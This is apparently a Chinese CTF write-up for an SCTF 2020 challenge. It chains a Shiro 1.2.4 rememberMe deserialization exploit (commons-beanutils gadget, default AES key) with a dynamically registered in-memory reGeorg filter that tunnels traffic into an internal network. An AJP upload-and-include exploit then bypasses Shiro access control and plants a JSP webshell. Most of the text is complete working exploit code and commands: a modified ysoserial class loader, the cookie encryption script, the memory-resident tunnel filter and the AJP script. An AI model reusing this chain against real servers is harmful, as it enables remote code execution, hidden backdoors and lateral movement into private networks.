题目附件直接给了完整的Docker环境，外部是Nginx反代出来的Spring Boot应用，反编译jar包由pom文件很容易发现存在Shiro 1.2.4 反序列化漏洞和commons-beanutils链，但题目环境不出网，flag在内网机器中，所以需要先建立代理，我觉得最好的方式就是动态注册filter或者servlet，并将reGeorg的代码嵌入其中，但如果将POC都写在header中，肯定会超过中间件header长度限制，当然在某些版本也有办法修改这个长度限制，参考[基于全局储存的新思路 | Tomcat的一种通用回显方法研究](https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484799&idx=1&sn=42e7807d6ea0d8917b45e8aa2e4dba44)，以下采用了动态加载类的方式将代理的主要逻辑放入了POST包体中

除了建立socks5代理对内网应用进行攻击外，在靶机上留有nc，可以本地抓包Ajp协议，再通过nc发送  
#### 改造ysoserial  
为了在ysoserial中正常使用下文中提到的类，需要先在pom.xml中加入如下依赖

```xml  
<dependency>  
<groupId>org.apache.tomcat.embed</groupId>  
<artifactId>tomcat-embed-core</artifactId>  
<version>8.5.50</version>  
</dependency>

<dependency>  
<groupId>org.springframework</groupId>  
<artifactId>spring-web</artifactId>  
<version>2.5</version>  
</dependency>  
```

要让反序列化时运行指定的Java代码，需要借助TemplatesImpl，在ysoserial中新建一个类并继承AbstractTranslet，这里有不理解的可以参考[有关TemplatesImpl的反序列化漏洞链](https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/#TemplatesImpl)

静态代码块中获取了Spring
Boot上下文里的request，response和session，然后获取classData参数并通过反射调用defineClass动态加载此类，实例化后调用其中的equals方法传入request，response和session三个对象

```java  
package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {  
static{  
try{  
javax.servlet.http.HttpServletRequest request =
((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();  
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");  
r.setAccessible(true);  
org.apache.catalina.connector.Response response
=((org.apache.catalina.connector.Request) r.get(request)).getResponse();  
javax.servlet.http.HttpSession session = request.getSession();

String classData=request.getParameter("classData");  
System.out.println(classData);

byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);  
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class,
int.class, int.class});  
defineClassMethod.setAccessible(true);  
Class cc = (Class)
defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes,
0,classBytes.length);  
cc.newInstance().equals(new Object[]{request,response,session});  
}catch(Exception e){  
e.printStackTrace();  
}  
}  
public void transform(DOM arg0, SerializationHandler[] arg1) throws
TransletException {  
}  
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler
arg2) throws TransletException {  
}  
}  
```

然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class
c)，参数即为我们要让服务端加载的类，如下直接将传入的c转换为字节码赋值给了_bytecodes

```java  
public static <T> T createTemplatesImpl(Class c) throws Exception {  
Class<T> tplClass = null;

if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {  
tplClass = (Class<T>)
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");  
}else{  
tplClass = (Class<T>) TemplatesImpl.class;  
}

final T templates = tplClass.newInstance();  
final byte[] classBytes = ClassFiles.classAsBytes(c);

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {  
classBytes  
});

Reflections.setFieldValue(templates, "_name", "Pwnr");  
return templates;  
}  
```

最后复制CommonsBeanutils1.java的代码增加一个payload
CommonsBeanutils1_ClassLoader.java，再把其中

```java  
final Object templates = Gadgets.createTemplatesImpl(command);  
```

修改为

```java  
final Object templates =
Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);  
```

打包

```java  
mvn clean package -DskipTests  
```

借以下脚本生成POC

```python  
#python2  
#pip install pycrypto  
import sys  
import base64  
import uuid  
from random import Random  
import subprocess  
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="  
mode = AES.MODE_CBC  
IV = uuid.uuid4().bytes  
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])  
BS = AES.block_size  
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))  
```

```bash  
python2 shiro_cookie.py `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
CommonsBeanutils1_ClassLoader anything |base64 |sed ':label;N;s/\n//;b label'`  
```

#### 改造reGeorg  
对于reGeorg服务端的更改其实也就是request等对象的获取方式，为了方便注册filter，我直接让该类实现了Filter接口，在doFilter方法中完成reGeorg的主要逻辑，在equals方法中进行[filter的动态注册](https://xz.aliyun.com/t/7388)

```java  
package reGeorg;

import javax.servlet.*;  
import java.io.IOException;

public class MemReGeorg implements javax.servlet.Filter{  
private javax.servlet.http.HttpServletRequest request = null;  
private org.apache.catalina.connector.Response response = null;  
private javax.servlet.http.HttpSession session =null;

@Override  
public void init(FilterConfig filterConfig) throws ServletException {  
}  
public void destroy() {}  
@Override  
public void doFilter(ServletRequest request1, ServletResponse response1,
FilterChain filterChain) throws IOException, ServletException {  
javax.servlet.http.HttpServletRequest request =
(javax.servlet.http.HttpServletRequest)request1;  
javax.servlet.http.HttpServletResponse response =
(javax.servlet.http.HttpServletResponse)response1;  
javax.servlet.http.HttpSession session = request.getSession();  
String cmd = request.getHeader("X-CMD");  
if (cmd != null) {  
response.setHeader("X-STATUS", "OK");  
if (cmd.compareTo("CONNECT") == 0) {  
try {  
String target = request.getHeader("X-TARGET");  
int port = Integer.parseInt(request.getHeader("X-PORT"));  
java.nio.channels.SocketChannel socketChannel =
java.nio.channels.SocketChannel.open();  
socketChannel.connect(new java.net.InetSocketAddress(target, port));  
socketChannel.configureBlocking(false);  
session.setAttribute("socket", socketChannel);  
response.setHeader("X-STATUS", "OK");  
} catch (java.net.UnknownHostException e) {  
response.setHeader("X-ERROR", e.getMessage());  
response.setHeader("X-STATUS", "FAIL");  
} catch (java.io.IOException e) {  
response.setHeader("X-ERROR", e.getMessage());  
response.setHeader("X-STATUS", "FAIL");  
}  
} else if (cmd.compareTo("DISCONNECT") == 0) {  
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");  
try{  
socketChannel.socket().close();  
} catch (Exception ex) {  
}  
session.invalidate();  
} else if (cmd.compareTo("READ") == 0){  
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");  
try {  
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512);  
int bytesRead = socketChannel.read(buf);  
ServletOutputStream so = response.getOutputStream();  
while (bytesRead > 0){  
so.write(buf.array(),0,bytesRead);  
so.flush();  
buf.clear();  
bytesRead = socketChannel.read(buf);  
}  
response.setHeader("X-STATUS", "OK");  
so.flush();  
so.close();  
} catch (Exception e) {  
response.setHeader("X-ERROR", e.getMessage());  
response.setHeader("X-STATUS", "FAIL");  
}

} else if (cmd.compareTo("FORWARD") == 0){  
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");  
try {  
int readlen = request.getContentLength();  
byte[] buff = new byte[readlen];  
request.getInputStream().read(buff, 0, readlen);  
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen);  
buf.clear();  
buf.put(buff);  
buf.flip();  
while(buf.hasRemaining()) {  
socketChannel.write(buf);  
}  
response.setHeader("X-STATUS", "OK");  
} catch (Exception e) {  
response.setHeader("X-ERROR", e.getMessage());  
response.setHeader("X-STATUS", "FAIL");  
socketChannel.socket().close();  
}  
}  
} else {  
filterChain.doFilter(request, response);  
}  
}

public boolean equals(Object obj) {  
Object[] context=(Object[]) obj;  
this.session = (javax.servlet.http.HttpSession ) context[2];  
this.response = (org.apache.catalina.connector.Response) context[1];  
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {  
dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request);  
} catch (IllegalAccessException e) {  
e.printStackTrace();  
}

return true;  
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String
name,String url,javax.servlet.http.HttpServletRequest request) throws
IllegalAccessException {  
javax.servlet.ServletContext servletContext=request.getServletContext();  
if (servletContext.getFilterRegistration(name) == null) {  
java.lang.reflect.Field contextField = null;  
org.apache.catalina.core.ApplicationContext applicationContext =null;  
org.apache.catalina.core.StandardContext standardContext=null;  
java.lang.reflect.Field stateField=null;  
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {  
contextField=servletContext.getClass().getDeclaredField("context");  
contextField.setAccessible(true);  
applicationContext = (org.apache.catalina.core.ApplicationContext)
contextField.get(servletContext);  
contextField=applicationContext.getClass().getDeclaredField("context");  
contextField.setAccessible(true);  
standardContext= (org.apache.catalina.core.StandardContext)
contextField.get(applicationContext);  
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");  
stateField.setAccessible(true);  
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);  
filterRegistration = servletContext.addFilter(name, filter);  
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,new String[]{url});  
java.lang.reflect.Method filterStartMethod =
org.apache.catalina.core.StandardContext.class.getMethod("filterStart");  
filterStartMethod.setAccessible(true);  
filterStartMethod.invoke(standardContext, null);  
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);  
}catch (Exception e){  
;  
}finally {  
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);  
}  
}  
}  
}  
```

编译后使用如下命令得到其字节码的base64

```bash  
cat MemReGeorg.class|base64 |sed ':label;N;s/\n//;b label'  
```

在Cookie处填入
rememberMe=[ysoserial生成的POC]，POST包体填入classData=[MemReGeorg类字节码的base64]，注意POST中参数需要URL编码，发包  
![](https://i.loli.net/2020/07/08/7tpOMQGolAZwFUD.png)

然后带上`X-CMD:l3yx`header头再请求页面，返回`X-STATUS: OK`说明reGeorg已经正常工作  
![](https://i.loli.net/2020/07/08/9yc7wxlfUKW3sqr.png)

reGeorg客户端也需要修改一下，原版会先GET请求一下网页判断是否是reGeorg的jsp页面，由于这里是添加了一个filter，正常访问网页是不会有变化的，只有带上相关头才会进入reGeorg代码，所以需要将客户端中相关的验证去除

在askGeorg函数第一行增加return True即可

连接reGeorg  
![](https://i.loli.net/2020/07/08/CNmEqX1h6ordTti.png)

#### Ajp协议绕过Shiro权限控制  
接入代理后已经可以成功访问内网，然后根据Dockerfile或者提示文件很容易找到内网WEB应用

http://sctf2020tomcat.syclover:8080/login  
![](https://i.loli.net/2020/07/08/LNGC7tmIyvhabM2.png)

内网中该版本的Tomcat存在Ajp文件包含漏洞，可上传文件并包含getshell，但是文件上传接口有Shiro进行权限控制

使用Ajp协议绕过的方法，参考:

https://issues.apache.org/jira/browse/SHIRO-760

[https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-
accurately/#0x05-%E6%83%85%E5%86%B5%E5%9B%9B%EF%BC%9Ashiro%E7%8E%AF%E5%A2%83%E4%B8%8B](https://gv7.me/articles/2020/how-
to-detect-tomcat-ajp-lfi-more-accurately/#0x05-情况四：shiro环境下)

借助[AJPy库](https://github.com/hypn0s/AJPy)，最后文件上传+文件包含的POC:

```python  
import sys  
import os  
from io import BytesIO  
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest,
NotFoundException  
from tomcat import Tomcat

#proxy  
import socks  
import socket  
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 8081)  
socket.socket = socks.socksocket

target_host = "sctf2020tomcat.syclover"  
gc = Tomcat(target_host, 8009)

filename = "shell.jpg"  
payload = "<% out.println(new java.io.BufferedReader(new
java.io.InputStreamReader(Runtime.getRuntime().exec(\"cat
/flag.txt\").getInputStream())).readLine()); %>"

with open("./request", "w+b") as f:  
s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-
Disposition: form-data; name="file"; filename="%s"\r\nContent-Type:
application/octet-stream\r\n\r\n' % filename  
s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'  
f.write(s_form_header.encode('utf-8'))  
f.write(payload.encode('utf-8'))  
f.write(s_form_footer.encode('utf-8'))

data_len = os.path.getsize("./request")

headers = {  
"SC_REQ_CONTENT_TYPE": "multipart/form-data;
boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",  
"SC_REQ_CONTENT_LENGTH": "%d" % data_len,  
}

attributes = [  
{  
"name": "req_attribute"  
, "value": ("javax.servlet.include.request_uri", "/;/admin/upload", )  
}  
, {  
"name": "req_attribute"  
, "value": ("javax.servlet.include.path_info", "/", )  
}  
, {  
"name": "req_attribute"  
, "value": ("javax.servlet.include.servlet_path", "", )  
}  
, ]

hdrs, data = gc.perform_request("/", headers=headers, method="POST",
attributes=attributes)

with open("./request", "rb") as f:  
br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)  
responses = br.send_and_receive(gc.socket, gc.stream)

r = AjpResponse()  
r.parse(gc.stream)

shell_path = r.data.decode('utf-8').strip('\x00').split('/')[-1]  
print("="*50)  
print(shell_path)  
print("="*50)

gc = Tomcat(target_host, 8009)

attributes = [  
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri",
"/",)},  
{"name": "req_attribute", "value": ("javax.servlet.include.path_info",
shell_path,)},  
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path",
"/",)},  
]  
hdrs, data = gc.perform_request("/uploads/1.jsp", attributes=attributes)  
output = sys.stdout

for d in data:  
try:  
output.write(d.data.decode('utf8'))  
except UnicodeDecodeError:  
output.write(repr(d.data))

```  
![](https://i.loli.net/2020/07/08/JQoFhOf8Ex52Wdj.png)